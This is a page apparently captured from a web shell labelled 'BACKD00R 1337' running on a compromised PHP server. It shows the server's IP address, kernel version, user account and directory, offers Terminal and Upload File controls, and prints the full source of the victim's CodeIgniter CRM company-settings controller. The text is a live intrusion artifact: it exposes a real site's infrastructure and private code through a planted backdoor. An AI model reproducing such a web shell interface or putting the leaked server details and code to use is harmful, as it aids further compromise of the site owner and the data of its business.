BACKD00R 1337
Server IP : 164.52.202.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux e2e-70-56.ssdcloudindia.net 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : rubyaromatics ( 1052)
PHP Version : 7.2.34
Directory (0755) :  /home/rubyaromatics/public_html/crm/application/controllers/

[  Home  ][  Terminal  ][  Upload File  ]

Current File : /home/rubyaromatics/public_html/crm/application/controllers/Company_setting.php
<?php
defined('BASEPATH') OR exit('NO direct script access allowed');

class Company_setting extends CI_Controller
{
	function __construct(){
		parent::__construct();
		$this->load->model('company_setting_model');
		$this->load->model('log_model');
	}
	public function index(){
		$data['country']  = $this->company_setting_model->getCountry();
		$data['state'] = $this->company_setting_model->getState();
		$data['city'] = $this->company_setting_model->getCity();
		$data['currency'] = $this->company_setting_model->getCurrency();
		$data['data']     = $this->company_setting_model->getData();
/*		echo "<pre>";
		print_r($data);
		exit;*/
		$this->load->view('company_setting/add',$data);
	}
	/*
		get all state of country
	*/
	public function getState($id){
		$data = $this->company_setting_model->getState($id);
		echo json_encode($data);
	}
	/*
		get all city of state
	*/
	public function getCity($id){
		$data = $this->company_setting_model->getCity($id);
		echo json_encode($data);
	}
	/*
		update company details 
	*/
	public function add(){
		if($_FILES["logo"]["name"]){
			$path_parts = pathinfo($_FILES["logo"]["name"]);
			date_default_timezone_set('Asia/Kolkata');
			$date = date_create();
			$image_path = $path_parts['filename'].'_'.date_timestamp_get($date).'.'.$path_parts['extension'];
	        $url =  "assets/images/".$image_path; 
	
			if(in_array($path_parts['extension'],array("jpg","jpeg","png"))){
						
				if(is_uploaded_file($_FILES["logo"]["tmp_name"])){
							
					if(move_uploaded_file($_FILES["logo"]["tmp_name"],$url)){
						$image_name = $url;	
					}
				}	
			}
		}
		else{
			$image_name = $this->input->post('hidden_logo_name');
		}
		$data = array(
				"name"             		=> $this->input->post('name'),
				"site_short_name"  		=> $this->input->post('short_name'),
				"tan_no"		   		=> $this->input->post('tan'),
				"cst_reg_no"    		=>	$this->input->post('cstregno'),
				"excise_reg_no"    		=>	$this->input->post('exciseregno'),
				"lbt_reg_no"    		=>	$this->input->post('lbtregno'),
				"servicetax_reg_no"    	=>	$this->input->post('servicetaxno'),
				"cin"    				=>	$this->input->post('cin'),
				"gst_registration_type" =>	$this->input->post('gstregtype'),
				"email"            		=> $this->input->post('email'),
				"phone"			   		=> $this->input->post('mobile'),
				"street"		   		=> $this->input->post('street'),
				"city_id"          		=> $this->input->post('city'),
				"state_id"         		=> $this->input->post('state'),
				"zip_code"         		=> $this->input->post('zip_code'),
				"country_id"       		=> $this->input->post('country'),
				"default_language" 		=> $this->input->post('language'),
				"default_currency" 		=> $this->input->post('currency'),
				"terms_condition" 		=> $this->input->post('details'),
				"bank_name" 		    => $this->input->post('bank'),
				"account_no" 		    => $this->input->post('account'),
				"branch_ifsccode" 		=> $this->input->post('branch'),
				"logo" 				    => $image_name
			);
		if($this->company_setting_model->add($data)){
			$log_data = array(
					'user_id'  => $this->session->userdata('user_id'),
					'table_id' => 0,
					'message'  => 'Comapany Setting Updated'
				);
			$result =  $this->db->query('SELECT 
								c.name,c.symbol 
							FROM company_settings cs 
							INNER JOIN currency c ON c.id = cs.default_currency
							')->row();
			if($result->symbol=="INR"){
				$sym = "<span class='fa fa-rupee'></span>";
			}
			else{
				$sym = $result->symbol;
			}
			$data = array(
					'currency_name' => $result->name,
					'symbol' => $sym
				);
			$this->session->set_userdata($data);
			$this->log_model->insert_log($log_data);
			$this->session->set_flashdata('fail', 'Comapany Setting Successfully Updated.');
			redirect('company_setting','refresh');
		}
		else{
			$this->session->set_flashdata('fail', 'Error in Update Comapany Setting.');
			redirect('company_setting','refresh');
		}

	}
}

?>

security is just an illusion